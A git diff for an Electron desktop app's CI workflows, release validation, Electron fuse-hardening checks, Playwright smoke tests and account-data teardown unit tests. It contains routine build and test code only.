diff --git a/.github/workflows/desktop-e2e.yml b/.github/workflows/desktop-e2e.yml index 7b87a84bc8d..aadc3bf6f3e 100644 --- a/.github/workflows/desktop-e2e.yml +++ b/.github/workflows/desktop-e2e.yml @@ -1,13 +1,27 @@ name: Desktop E2E -# Smoke coverage of the real Electron shell, plus an advisory canary leg -# against electron@latest so Chromium-cadence breakage surfaces before an -# upgrade is attempted (U18/U22). -# -# Manual-only for now: the desktop app is tested locally, so the -# pull_request trigger is disabled until desktop CI is turned back on. +# Smoke coverage of the real Electron shell on desktop changes, plus a weekly +# advisory canary against electron@latest so Chromium-cadence breakage surfaces +# before an upgrade is attempted. on: + pull_request: + paths: + - '.github/workflows/desktop-e2e.yml' + - '.github/workflows/desktop-release.yml' + - 'apps/desktop/**' + - 'apps/sim/public/brand/fonts/**' + - 'packages/desktop-bridge/**' + - 'packages/browser-protocol/**' + - 'packages/terminal-protocol/**' + - 'packages/logger/**' + - 'packages/security/**' + - 'packages/tsconfig/**' + - 'packages/utils/**' + - 'bun.lock' + - 'package.json' + schedule: + - cron: '23 9 * * 1' workflow_dispatch: permissions: @@ -18,14 +32,10 @@ concurrency: cancel-in-progress: true jobs: - e2e: - name: E2E (${{ matrix.electron }}) + e2e-pinned: + name: E2E (pinned) + if: github.event_name != 'schedule' runs-on: macos-26 - strategy: - fail-fast: false - matrix: - electron: [pinned, latest] - continue-on-error: ${{ matrix.electron == 'latest' }} steps: - name: Checkout code uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 @@ -38,10 +48,42 @@ jobs: - name: Install dependencies run: bun install --frozen-lockfile - - name: Switch to electron@latest (canary) - if: matrix.electron == 'latest' + - name: Bundle main and preload + working-directory: apps/desktop + run: bun run build + + - name: Run Playwright _electron smoke suite + working-directory: apps/desktop + run: bunx playwright test + + - name: Upload test results + if: failure() + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 + with: + name: desktop-e2e-results-pinned + path: apps/desktop/test-results + retention-days: 7 + + e2e-latest-canary: + name: E2E (electron@latest canary) + if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch' + runs-on: macos-26 + continue-on-error: true + steps: + - name: Checkout code + uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + + - name: Setup Bun + uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 + with: + bun-version: 1.3.14 + + - name: Install dependencies + run: bun install --frozen-lockfile + + - name: Switch to electron@latest working-directory: apps/desktop - run: bun add -d electron@latest + run: bun add --no-save -d electron@latest - name: Bundle main and preload working-directory: apps/desktop @@ -53,14 +95,15 @@ jobs: - name: Upload test results if: failure() - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 with: - name: desktop-e2e-results-${{ matrix.electron }} + name: desktop-e2e-results-latest path: apps/desktop/test-results retention-days: 7 package-smoke: name: Unsigned package smoke + if: github.event_name != 'schedule' runs-on: macos-26 steps: - name: Checkout code @@ -72,7 +115,7 @@ jobs: bun-version: 1.3.14 - name: Setup Node - uses: actions/setup-node@v4 + uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: 22 @@ -85,4 +128,20 @@ jobs: CSC_IDENTITY_AUTO_DISCOVERY: 'false' run: | bun run build - bunx electron-builder --mac dir --publish never + bunx electron-builder --mac dir --universal --publish never \ + -c.mac.identity=- -c.mac.hardenedRuntime=false + + - name: Run packaged Electron smoke suite + working-directory: apps/desktop + run: | + APP_BUNDLE="$(find release -maxdepth 2 -name '*.app' -print -quit)" + if [ -z "$APP_BUNDLE" ]; then + echo "::error::Packaged app bundle was not found." + exit 1 + fi + EXECUTABLE="$(find "$APP_BUNDLE/Contents/MacOS" -maxdepth 1 -type f -perm -111 -print -quit)" + if [ -z "$EXECUTABLE" ]; then + echo "::error::Packaged app executable was not found." + exit 1 + fi + SIM_DESKTOP_EXECUTABLE="$EXECUTABLE" bunx playwright test e2e/packaged-smoke.spec.ts diff --git a/.github/workflows/desktop-release.yml b/.github/workflows/desktop-release.yml index ed014c85039..db1e403eb5d 100644 --- a/.github/workflows/desktop-release.yml +++ b/.github/workflows/desktop-release.yml @@ -53,6 +53,9 @@ jobs: steps: - name: Checkout code uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + with: + fetch-depth: 0 + ref: ${{ github.event_name == 'workflow_dispatch' && inputs.version || github.sha }} # Prerelease versions carry their environment in the tag: -dev.N is a # dev build, -staging.N a staging build. Legacy -alpha/-beta tags remain @@ -82,6 +85,34 @@ jobs: } >> "$GITHUB_OUTPUT" echo "Building $NAME ($APP_ID) for $RELEASE_REPOSITORY; default origin: ${ORIGIN:-production}" + - name: Validate release source + env: + PUBLISH: ${{ inputs.publish }} + SIGN: ${{ inputs.sign }} + TOKEN_KIND: ${{ steps.channel.outputs.token_kind }} + VERSION: ${{ inputs.version }} + run: | + if ! [[ "$VERSION" =~ ^v[0-9]+\.[0-9]+\.[0-9]+(-[0-9A-Za-z.-]+)?$ ]]; then + echo "::error::Refusing to build: '$VERSION' is not a vX.Y.Z release tag." + exit 1 + fi + if [ "$GITHUB_EVENT_NAME" = workflow_dispatch ] && [ "$TOKEN_KIND" != stable ]; then + echo "::error::Manual desktop releases must use a stable source-repository tag." + exit 1 + fi + if [ "$TOKEN_KIND" = stable ] && [ "$PUBLISH" = true ] && [ "$SIGN" != true ]; then + echo "::error::Stable desktop releases must be signed before publication." + exit 1 + fi + if [ "$TOKEN_KIND" = stable ]; then + TAG_COMMIT="$(git rev-parse "refs/tags/${VERSION}^{commit}")" + HEAD_COMMIT="$(git rev-parse HEAD)" + if [ "$TAG_COMMIT" != "$HEAD_COMMIT" ]; then + echo "::error::Requested tag $VERSION points to $TAG_COMMIT, but the checkout is $HEAD_COMMIT." + exit 1 + fi + fi + - name: Validate release authentication if: ${{ inputs.publish }} env: @@ -100,12 +131,12 @@ jobs: bun-version: 1.3.14 - name: Setup Node - uses: actions/setup-node@v4 + uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: 22 - name: Cache Electron binaries - uses: actions/cache@v4 + uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4 with: path: | ~/Library/Caches/electron @@ -120,23 +151,33 @@ jobs: VERSION: ${{ inputs.version }} run: | SEMVER="${VERSION#v}" - if ! [[ "$SEMVER" =~ ^[0-9]+\.[0-9]+\.[0-9]+([-.].+)?$ ]]; then - echo "Refusing to build: '$VERSION' is not a vX.Y.Z release tag" >&2 - exit 1 - fi - npm pkg set version="$SEMVER" --prefix apps/desktop + cd apps/desktop + bun pm pkg set version="$SEMVER" + cd ../.. INJECTED="$(node -p "require('./apps/desktop/package.json').version")" if [ "$INJECTED" != "$SEMVER" ]; then echo "Version injection mismatch: wanted $SEMVER got $INJECTED" >&2 exit 1 fi + - name: Verify desktop source + run: | + bun run --cwd apps/desktop lint:check + bun run --cwd apps/desktop type-check + bun run --cwd apps/desktop test + - name: Bundle main and preload working-directory: apps/desktop env: SIM_DESKTOP_DEFAULT_ORIGIN: ${{ steps.channel.outputs.origin }} run: bun run build + - name: Run Electron smoke tests + working-directory: apps/desktop + env: + SIM_DESKTOP_DEFAULT_ORIGIN: ${{ steps.channel.outputs.origin }} + run: bun run test:e2e + - name: Write App Store Connect API key if: ${{ inputs.sign }} env: @@ -165,8 +206,9 @@ jobs: -c.productName="$PRODUCT_NAME" -c.appId="$APP_ID" # Unsigned prerelease path: no Developer ID, no notarization. The - # binaries end up ad-hoc/linker-signed, which runs locally but gets - # quarantined when downloaded — fine for testing the update pipeline. + # binaries are explicitly ad-hoc signed with Hardened Runtime off, which + # runs locally but gets quarantined when downloaded — fine for testing + # the update pipeline without Developer ID credentials. - name: Package unsigned if: ${{ !inputs.sign }} working-directory: apps/desktop @@ -176,17 +218,106 @@ jobs: APP_ID: ${{ steps.channel.outputs.app_id }} run: > bunx electron-builder --mac --publish never -c.mac.notarize=false + -c.mac.identity=- -c.mac.hardenedRuntime=false -c.productName="$PRODUCT_NAME" -c.appId="$APP_ID" + - name: Validate packaged artifacts + env: + VERSION: ${{ inputs.version }} + run: | + SEMVER="${VERSION#v}" + RELEASE_DIR=apps/desktop/release + YML="$(find "$RELEASE_DIR" -maxdepth 1 -name '*-mac.yml' -print)" + if [ "$(printf '%s\n' "$YML" | sed '/^$/d' | wc -l | tr -d ' ')" != 1 ]; then + echo "::error::Expected exactly one updater manifest in $RELEASE_DIR." + exit 1 + fi + if [ "$(basename "$YML")" != latest-mac.yml ]; then + mv "$YML" "$RELEASE_DIR/latest-mac.yml" + fi + ARTIFACTS=( + "$RELEASE_DIR/Sim-${SEMVER}-universal.dmg" + "$RELEASE_DIR/Sim-${SEMVER}-universal.dmg.blockmap" + "$RELEASE_DIR/Sim-${SEMVER}-universal.zip" + "$RELEASE_DIR/Sim-${SEMVER}-universal.zip.blockmap" + "$RELEASE_DIR/latest-mac.yml" + ) + for ARTIFACT in "${ARTIFACTS[@]}"; do + if [ ! -f "$ARTIFACT" ]; then + echo "::error::Expected desktop artifact is missing: $ARTIFACT" + exit 1 + fi + done + if [ "$(find "$RELEASE_DIR" -maxdepth 1 \( -name '*.dmg' -o -name '*.zip' -o -name '*.blockmap' \) | wc -l | tr -d ' ')" != 4 ]; then + echo "::error::Unexpected package artifacts were produced; refusing a wildcard upload." + find "$RELEASE_DIR" -maxdepth 1 -type f -print + exit 1 + fi + if ! grep -Fxq "version: $SEMVER" "$RELEASE_DIR/latest-mac.yml"; then + echo "::error::Updater manifest version does not match $VERSION." + exit 1 + fi + URLS="$(sed -nE 's/^[[:space:]]*(-[[:space:]]*)?url:[[:space:]]*([^[:space:]]+)[[:space:]]*$/\2/p' "$RELEASE_DIR/latest-mac.yml" | sort)" + EXPECTED_URLS="$(printf '%s\n' "Sim-${SEMVER}-universal.zip" "Sim-${SEMVER}-universal.dmg" | sort)" + if [ "$URLS" != "$EXPECTED_URLS" ]; then + echo "::error::Updater manifest contains unexpected artifact URLs." + exit 1 + fi + if ! grep -Fxq "path: Sim-${SEMVER}-universal.zip" "$RELEASE_DIR/latest-mac.yml"; then + echo "::error::Updater manifest path does not reference the verified zip artifact." + exit 1 + fi + hdiutil verify "$RELEASE_DIR/Sim-${SEMVER}-universal.dmg" + unzip -tq "$RELEASE_DIR/Sim-${SEMVER}-universal.zip" + - name: Validate signature and notarization if: ${{ inputs.sign }} + env: + VERSION: ${{ inputs.version }} run: | - DMG="$(ls apps/desktop/release/*.dmg | head -1)" - hdiutil attach "$DMG" -mountpoint /tmp/sim-dmg -nobrowse -quiet - xcrun stapler validate /tmp/sim-dmg/*.app - spctl --assess --type execute --verbose /tmp/sim-dmg/*.app - codesign --verify --deep --strict /tmp/sim-dmg/*.app - hdiutil detach /tmp/sim-dmg -quiet + SEMVER="${VERSION#v}" + DMG="apps/desktop/release/Sim-${SEMVER}-universal.dmg" + ZIP="apps/desktop/release/Sim-${SEMVER}-universal.zip" + MOUNT_POINT="$RUNNER_TEMP/sim-dmg" + ZIP_DIR="$(mktemp -d "$RUNNER_TEMP/sim-zip.XXXXXX")" + mkdir -p "$MOUNT_POINT" + hdiutil attach "$DMG" -mountpoint "$MOUNT_POINT" -nobrowse -quiet + trap 'hdiutil detach "$MOUNT_POINT" -quiet || true; rm -rf "$ZIP_DIR"' EXIT + APP_BUNDLE="$(find "$MOUNT_POINT" -maxdepth 1 -name '*.app' -print -quit)" + if [ -z "$APP_BUNDLE" ]; then + echo "::error::The signed DMG does not contain an app bundle." + exit 1 + fi + xcrun stapler validate "$APP_BUNDLE" + spctl --assess --type execute --verbose "$APP_BUNDLE" + codesign --verify --deep --strict "$APP_BUNDLE" + unzip -q "$ZIP" -d "$ZIP_DIR" + ZIP_APP="$(find "$ZIP_DIR" -maxdepth 2 -name '*.app' -print -quit)" + if [ -z "$ZIP_APP" ]; then + echo "::error::The updater ZIP does not contain an app bundle." + exit 1 + fi + xcrun stapler validate "$ZIP_APP" + spctl --assess --type execute --verbose "$ZIP_APP" + codesign --verify --deep --strict "$ZIP_APP" + hdiutil detach "$MOUNT_POINT" -quiet + rm -rf "$ZIP_DIR" + trap - EXIT + + - name: Run packaged Electron smoke suite + working-directory: apps/desktop + run: | + APP_BUNDLE="$(find release -maxdepth 2 -name '*.app' -print -quit)" + if [ -z "$APP_BUNDLE" ]; then + echo "::error::Packaged app bundle was not found." + exit 1 + fi + EXECUTABLE="$(find "$APP_BUNDLE/Contents/MacOS" -maxdepth 1 -type f -perm -111 -print -quit)" + if [ -z "$EXECUTABLE" ]; then + echo "::error::Packaged app executable was not found." + exit 1 + fi + SIM_DESKTOP_EXECUTABLE="$EXECUTABLE" bunx playwright test e2e/packaged-smoke.spec.ts - name: Upload artifacts to the release if: ${{ inputs.publish }} @@ -209,35 +340,51 @@ jobs: exit 1 fi export GH_TOKEN - # electron-builder's GitHub provider always names the manifest - # latest-mac.yml (channels are a generic-provider concept), and the - # update feed expects exactly that asset name on every release — - # normalize defensively in case a config change ever produces a - # channel-named manifest. - YML="$(find apps/desktop/release -maxdepth 1 -name '*-mac.yml' | head -1)" - if [ -z "$YML" ]; then - echo "::error::No *-mac.yml updater manifest found in apps/desktop/release" - exit 1 - fi - if [ "$(basename "$YML")" != "latest-mac.yml" ]; then - mv "$YML" apps/desktop/release/latest-mac.yml - fi - gh release upload "$VERSION" \ - apps/desktop/release/*.dmg \ - apps/desktop/release/*.zip \ - apps/desktop/release/*.blockmap \ - apps/desktop/release/latest-mac.yml \ - --repo "$RELEASE_REPOSITORY" \ - --clobber + if ! gh release view "$VERSION" --repo "$RELEASE_REPOSITORY" >/dev/null; then + echo "::error::Release $VERSION does not exist in $RELEASE_REPOSITORY." + exit 1 + fi + SEMVER="${VERSION#v}" + ARTIFACTS=( + "apps/desktop/release/Sim-${SEMVER}-universal.dmg" + "apps/desktop/release/Sim-${SEMVER}-universal.dmg.blockmap" + "apps/desktop/release/Sim-${SEMVER}-universal.zip" + "apps/desktop/release/Sim-${SEMVER}-universal.zip.blockmap" + "apps/desktop/release/latest-mac.yml" + ) + upload_or_verify() { + local ARTIFACT="$1" + local NAME SIZE DIGEST RELEASE_JSON REMOTE REMOTE_SIZE REMOTE_DIGEST + NAME="$(basename "$ARTIFACT")" + SIZE="$(stat -f%z "$ARTIFACT")" + DIGEST="sha256:$(shasum -a 256 "$ARTIFACT" | awk '{print $1}')" + RELEASE_JSON="$(gh api "repos/${RELEASE_REPOSITORY}/releases/tags/${VERSION}")" + REMOTE="$(jq -c --arg name "$NAME" '.assets[] | select(.name == $name)' <<< "$RELEASE_JSON")" + if [ -n "$REMOTE" ]; then + REMOTE_SIZE="$(jq -r '.size' <<< "$REMOTE")" + REMOTE_DIGEST="$(jq -r '.digest // empty' <<< "$REMOTE")" + if [ "$REMOTE_SIZE" != "$SIZE" ] || [ "$REMOTE_DIGEST" != "$DIGEST" ]; then + echo "::error::Existing release asset $NAME does not match this build." + exit 1 + fi + echo "Verified existing release asset $NAME; skipping upload." + return + fi + gh release upload "$VERSION" "$ARTIFACT" --repo "$RELEASE_REPOSITORY" + } + for ARTIFACT in "${ARTIFACTS[@]:0:4}"; do + upload_or_verify "$ARTIFACT" + done + upload_or_verify "${ARTIFACTS[4]}" - name: Upload artifacts to the workflow run if: ${{ !inputs.publish }} - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 with: name: sim-desktop-${{ inputs.version }} path: | apps/desktop/release/*.dmg apps/desktop/release/*.zip apps/desktop/release/*.blockmap - apps/desktop/release/*-mac.yml + apps/desktop/release/latest-mac.yml retention-days: 7 diff --git a/apps/desktop/README.md b/apps/desktop/README.md index 766873fab65..0d9b1bdfe98 100644 --- a/apps/desktop/README.md +++ b/apps/desktop/README.md @@ -104,10 +104,10 @@ Pre-release share (no Developer ID yet): `SIM_DESKTOP_DEFAULT_ORIGIN=https://www The build also derives the app icon from `SIM_DESKTOP_DEFAULT_ORIGIN`. Every channel uses the exact production icon with its white background and black `sim` mark. Non-production channels add a thin outline using existing platform colors: dev uses orange, staging uses Loop blue, and localhost uses Workflow violet. The macOS menu-bar icon also carries a compact `D`, `S`, or `L` subscript for those environments; production remains unmarked. Native Icon Composer assets live in `build/`; `scripts/build.ts` copies the selected variant to the ignored `build/generated-icon.icon` path consumed by electron-builder. Electron-builder compiles it to `Assets.car` and derives the legacy `.icns` fallback from the same source. Matching 512px PNGs in `static/` provide the Dock icon for unpackaged runs. CI (`.github/workflows/desktop-release.yml`, wired into `ci.yml`): -- Stable builds run only after `create-release` on a `vX.Y.Z:` commit to main — **never before**: `scripts/create-single-release.ts` skips creation if the tag exists, so a desktop job publishing first would eat the changelog. Stable assets remain on `simstudioai/sim`; dev/staging assets publish to the public `simstudioai/sim-desktop-releases` repository so source-repository followers are not notified for internal shell builds. The job builds `--publish never` and uploads assets with `gh release upload --clobber` (idempotent re-runs). +- Stable builds run only after `create-release` on a `vX.Y.Z:` commit to main — **never before**: `scripts/create-single-release.ts` skips creation if the tag exists, so a desktop job publishing first would eat the changelog. Stable assets remain on `simstudioai/sim`; dev/staging assets publish to the public `simstudioai/sim-desktop-releases` repository so source-repository followers are not notified for internal shell builds. The job builds `--publish never`; reruns verify the size and SHA-256 digest of existing release assets instead of overwriting them. - **Secrets gate**: `check-desktop-signing` in `ci.yml` probes the six Apple secrets and skips the desktop job with a warning until they exist — releases never fail on a missing Apple account, and the first release after the secrets land ships desktop artifacts automatically. Manual/one-off builds: Actions → "Desktop Release (macOS)" → Run workflow with a `vX.Y.Z` version (`publish: false` uploads artifacts to the run instead of the release). - The product semver is **injected** from the release tag into `apps/desktop/package.json` at build time (repo package versions are placeholders). A mismatch guard fails the build. -- Fuses are flipped at package time (`electronFuses` in `electron-builder.yml`): runAsNode off, NODE_OPTIONS off, inspect args off, ASAR-only + integrity validation, cookie encryption on, `strictlyRequireAllFuses` so new fuses fail loudly on Electron bumps. +- Fuses are flipped at package time (`electronFuses` in `electron-builder.yml`): runAsNode off, NODE_OPTIONS off, inspect args off, ASAR-only + integrity validation, and cookie encryption on. The packaged smoke test asserts every fuse byte so Electron upgrades fail until new fuses receive an explicit policy. - **Cookie-encryption go/no-go**: on every Electron bump, verify a packaged build keeps its session across relaunch (there are historical cookie-persistence bugs with the `EnableCookieEncryption` fuse). If it reproduces, set `enableCookieEncryption: false` and record it here. Required repo secrets (owner: whoever holds the Apple Developer account; calendar the expiries — an expired cert/API key breaks every release): diff --git a/apps/desktop/docs/electron-upgrade-checklist.md b/apps/desktop/docs/electron-upgrade-checklist.md index 8974779d6b1..04aa583558a 100644 --- a/apps/desktop/docs/electron-upgrade-checklist.md +++ b/apps/desktop/docs/electron-upgrade-checklist.md @@ -4,7 +4,7 @@ The rendering-parity guarantee (identical to Chrome of the pinned version) is on 1. **Read the release notes.** Electron breaking-changes page for the target major, plus its Chromium/Node versions. Note anything touching: session/cookies, permissions, `setWindowOpenHandler`, `will-navigate`/`will-redirect`, preload/sandbox, `net`/loopback, fuses. 2. **Bump the pin** in `apps/desktop/package.json` (exact version), `bun install`, `bun run type-check && bun run test`. -3. **Fuses:** the build sets `strictlyRequireAllFuses` — if `electron-builder` fails on a new fuse, decide its state explicitly in `electron-builder.yml` rather than loosening the strict flag. +3. **Fuses:** the packaged smoke test asserts the complete fuse wire. Decide the policy for every new fuse, configure it in `electron-builder.yml` when supported, and update the expected wire only after verifying the packaged binary. 4. **Cookie-encryption go/no-go:** packaged build → sign in → quit → relaunch → still signed in. If the session is lost, flip `enableCookieEncryption: false`, file it in the README, and retest. 5. **Manual spot-checks (packaged build):** - Google sign-in via the system-browser handoff (127.0.0.1 loopback callback → token redeem). diff --git a/apps/desktop/e2e/packaged-smoke.spec.ts b/apps/desktop/e2e/packaged-smoke.spec.ts new file mode 100644 index 00000000000..e7613321e87 --- /dev/null +++ b/apps/desktop/e2e/packaged-smoke.spec.ts @@ -0,0 +1,84 @@ +import { spawn } from 'node:child_process' +import { once } from 'node:events' +import { existsSync, mkdtempSync, readFileSync, rmSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { FuseV1Options, FuseVersion, getCurrentFuseWire } from '@electron/fuses' +import { expect, test } from '@playwright/test' + +const FUSE_DISABLED = '0'.charCodeAt(0) +const FUSE_ENABLED = '1'.charCodeAt(0) +const ELECTRON_43_WASM_TRAP_HANDLERS_FUSE = 8 + +const EXPECTED_FUSE_POLICY = [ + [FuseV1Options.RunAsNode, FUSE_DISABLED], + [FuseV1Options.EnableCookieEncryption, FUSE_ENABLED], + [FuseV1Options.EnableNodeOptionsEnvironmentVariable, FUSE_DISABLED], + [FuseV1Options.EnableNodeCliInspectArguments, FUSE_DISABLED], + [FuseV1Options.EnableEmbeddedAsarIntegrityValidation, FUSE_ENABLED], + [FuseV1Options.OnlyLoadAppFromAsar, FUSE_ENABLED], + [FuseV1Options.LoadBrowserProcessSpecificV8Snapshot, FUSE_DISABLED], + [FuseV1Options.GrantFileProtocolExtraPrivileges, FUSE_DISABLED], + [ELECTRON_43_WASM_TRAP_HANDLERS_FUSE, FUSE_ENABLED], +] as const + +test.skip( + !process.env.SIM_DESKTOP_EXECUTABLE, + 'Packaged smoke runs only after the desktop executable has been built' +) + +test('packaged Electron binary has the production fuse policy', async () => { + const executablePath = process.env.SIM_DESKTOP_EXECUTABLE + if (!executablePath) throw new Error('SIM_DESKTOP_EXECUTABLE is required') + + const fuses = await getCurrentFuseWire(executablePath) + expect(fuses.version).toBe(FuseVersion.V1) + const fuseIndexes = Object.keys(fuses) + .filter((key) => /^\d+$/.test(key)) + .map(Number) + + expect(fuseIndexes).toEqual(EXPECTED_FUSE_POLICY.map(([index]) => index)) + for (const [index, state] of EXPECTED_FUSE_POLICY) { + expect(Reflect.get(fuses, index)).toBe(state) + } +}) + +test('packaged main process starts and records launch telemetry', async () => { + const executablePath = process.env.SIM_DESKTOP_EXECUTABLE + if (!executablePath) throw new Error('SIM_DESKTOP_EXECUTABLE is required') + const userDataPath = mkdtempSync(join(tmpdir(), 'sim-desktop-packaged-e2e-')) + const child = spawn(executablePath, [], { + env: { + ...process.env, + SIM_DESKTOP_ORIGIN: 'http://127.0.0.1:1', + SIM_DESKTOP_USER_DATA: userDataPath, + }, + stdio: 'ignore', + }) + const eventLogPath = join(userDataPath, 'logs', 'desktop-events.log') + + try { + await expect + .poll( + () => { + if (child.exitCode !== null || child.signalCode !== null) { + throw new Error( + `Packaged app exited with ${child.exitCode ?? child.signalCode ?? 'unknown status'}` + ) + } + return ( + existsSync(eventLogPath) && readFileSync(eventLogPath, 'utf8').includes('app_launch') + ) + }, + { timeout: 10_000 } + ) + .toBe(true) + } finally { + if (child.exitCode === null && child.signalCode === null) { + const exited = once(child, 'exit') + child.kill('SIGKILL') + await exited + } + rmSync(userDataPath, { recursive: true, force: true }) + } +}) diff --git a/apps/desktop/e2e/smoke.spec.ts b/apps/desktop/e2e/smoke.spec.ts index 4bc71a1ee87..b96f923908b 100644 --- a/apps/desktop/e2e/smoke.spec.ts +++ b/apps/desktop/e2e/smoke.spec.ts @@ -14,6 +14,8 @@ const PAGES: Record = {

fixture-app

+ + `, '/workspace/two': '

second-route

', '/login': '

fixture-login

', @@ -23,7 +25,16 @@ function startFixtureServer(): Promise<{ server: Server; origin: string }> { return new Promise((resolvePromise) => { const server = createServer((request, response) => { const path = new URL(request.url ?? '/', 'http://127.0.0.1').pathname - const body = PAGES[path] + const sessionCookie = request.headers.cookie + ?.split(';') + .map((cookie) => cookie.trim()) + .includes('sim-e2e-session=shared') + const body = + path === '/mcp' + ? sessionCookie + ? '

oauth-popup

' + : '

sign-in-required

' + : PAGES[path] if (!body) { response.writeHead(404, { 'Content-Type': 'text/html' }).end('

not found

') return @@ -105,6 +116,43 @@ test.describe('desktop shell smoke', () => { await expect(window.locator('#app')).toHaveText('fixture-app') }) + test('OAuth popups share the session without inheriting the privileged preload', async () => { + app = await launchApp(origin) + const window = await app.firstWindow() + await window.evaluate(() => { + document.cookie = 'sim-e2e-session=shared; Path=/; SameSite=Lax' + }) + const popupPromise = app.waitForEvent('window') + await window.locator('#mcp-popup').click() + const popup = await popupPromise + + await expect(popup.locator('#mcp')).toHaveText('oauth-popup') + await expect + .poll(() => popup.evaluate(() => typeof (globalThis as { simDesktop?: unknown }).simDesktop)) + .toBe('undefined') + }) + + test('cross-origin same-window navigation opens externally and preserves the app document', async () => { + app = await launchApp(origin) + const window = await app.firstWindow() + await app.evaluate(({ shell }) => { + const opened: string[] = [] + ;(globalThis as { __openedExternal?: string[] }).__openedExternal = opened + shell.openExternal = async (url: string) => { + opened.push(url) + } + }) + + await window.locator('#external-navigate').click({ noWaitAfter: true }) + + await expect + .poll(() => + app.evaluate(() => (globalThis as { __openedExternal?: string[] }).__openedExternal) + ) + .toEqual(['https://docs.sim.ai/navigation']) + expect(window.url()).toBe(`${origin}/workspace`) + }) + test('unreachable origin shows the bundled offline page', async () => { app = await launchApp('http://127.0.0.1:1') const window = await app.firstWindow() @@ -131,5 +179,8 @@ test.describe('desktop shell smoke', () => { await expect(window.locator('#retry')).toHaveCSS('font-size', '14px') await expect(window.locator('#retry')).toHaveCSS('line-height', '20px') await expect(window.locator('#retry')).toHaveCSS('text-align', 'left') + await window.locator('#retry').focus() + await expect(window.locator('#retry')).toHaveCSS('outline-style', 'solid') + await expect(window.locator('#detail')).toHaveAttribute('role', 'status') }) }) diff --git a/apps/desktop/electron-builder.yml b/apps/desktop/electron-builder.yml index a8b4637f754..34d390dad9c 100644 --- a/apps/desktop/electron-builder.yml +++ b/apps/desktop/electron-builder.yml @@ -36,6 +36,8 @@ electronFuses: enableNodeCliInspectArguments: false enableEmbeddedAsarIntegrityValidation: true onlyLoadAppFromAsar: true + loadBrowserProcessSpecificV8Snapshot: false + grantFileProtocolExtraPrivileges: false mac: category: public.app-category.developer-tools diff --git a/apps/desktop/package.json b/apps/desktop/package.json index 5fa7d00c9e1..52161642cb8 100644 --- a/apps/desktop/package.json +++ b/apps/desktop/package.json @@ -45,6 +45,7 @@ "safe-regex2": "5.1.0" }, "devDependencies": { + "@electron/fuses": "1.8.0", "@playwright/test": "1.61.1", "@sim/tsconfig": "workspace:*", "@types/micromatch": "4.0.10", diff --git a/apps/desktop/src/main/account-data-generation.test.ts b/apps/desktop/src/main/account-data-generation.test.ts new file mode 100644 index 00000000000..8062a0d2fa8 --- /dev/null +++ b/apps/desktop/src/main/account-data-generation.test.ts @@ -0,0 +1,230 @@ +import { + existsSync, + mkdirSync, + mkdtempSync, + readFileSync, + unlinkSync, + writeFileSync, +} from 'node:fs' +import { rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' +import { + beginAccountDataTeardown, + captureAccountDataGeneration, + completeAccountDataTeardown, + completeDeploymentScopedTeardown, + getAccountDataTeardownKind, + getAccountDataTeardownOrigin, + initializeAccountDataRecovery, + invalidateAccountDataOperations, + isAccountDataTeardownRequired, + prepareAccountDataTeardownForQuit, + retryAccountDataTeardown, + runAccountDataMutation, + waitForAccountDataMutations, +} from '@/main/account-data-generation' + +const ORIGIN = 'https://sim.example.com' + +describe('account data generation', () => { + let directory: string + let markerPath: string + + beforeEach(() => { + directory = mkdtempSync(join(tmpdir(), 'sim-account-recovery-')) + markerPath = join(directory, 'teardown-required.json') + initializeAccountDataRecovery(markerPath) + }) + + afterEach(async () => { + completeAccountDataTeardown() + initializeAccountDataRecovery(null) + await rm(directory, { recursive: true, force: true }) + }) + + it('blocks account-data mutations and persists teardown intent', () => { + expect(beginAccountDataTeardown('account', ORIGIN)).toBe(true) + + expect(existsSync(markerPath)).toBe(true) + expect(JSON.parse(readFileSync(markerPath, 'utf8'))).toEqual({ + version: 2, + kind: 'account', + origin: ORIGIN, + }) + expect(isAccountDataTeardownRequired()).toBe(true) + }) + + it('fails closed and retries marker persistence before quit', () => { + const blockedParent = join(directory, 'blocked') + markerPath = join(blockedParent, 'teardown-required.json') + initializeAccountDataRecovery(markerPath) + writeFileSync(blockedParent, 'not a directory') + + expect(beginAccountDataTeardown('account', ORIGIN)).toBe(false) + expect(isAccountDataTeardownRequired()).toBe(false) + expect(prepareAccountDataTeardownForQuit()).toBe(true) + + unlinkSync(blockedParent) + mkdirSync(blockedParent) + expect(beginAccountDataTeardown('account', ORIGIN)).toBe(true) + expect(existsSync(markerPath)).toBe(true) + }) + + it('does not erase data when the recovery marker cannot be written', async () => { + const blockedParent = join(directory, 'blocked') + markerPath = join(blockedParent, 'teardown-required.json') + initializeAccountDataRecovery(markerPath) + writeFileSync(blockedParent, 'not a directory') + const generation = captureAccountDataGeneration() + expect(beginAccountDataTeardown('account', ORIGIN)).toBe(false) + const firstClear = vi.fn(async () => {}) + const secondClear = vi.fn(async () => {}) + + await expect( + retryAccountDataTeardown([ + { label: 'browser profile', clear: firstClear }, + { label: 'local filesystem grants', clear: secondClear }, + ]) + ).resolves.toEqual([]) + + expect(firstClear).not.toHaveBeenCalled() + expect(secondClear).not.toHaveBeenCalled() + expect(isAccountDataTeardownRequired()).toBe(false) + await expect(runAccountDataMutation(generation, async () => 'ok')).resolves.toBe('ok') + }) + + it('restores the fail-closed state from a marker and clears it only on completion', () => { + writeFileSync(markerPath, JSON.stringify({ version: 2, kind: 'deployment', origin: ORIGIN })) + + expect(initializeAccountDataRecovery(markerPath)).toBe(true) + expect(isAccountDataTeardownRequired()).toBe(true) + expect(getAccountDataTeardownKind()).toBe('deployment') + 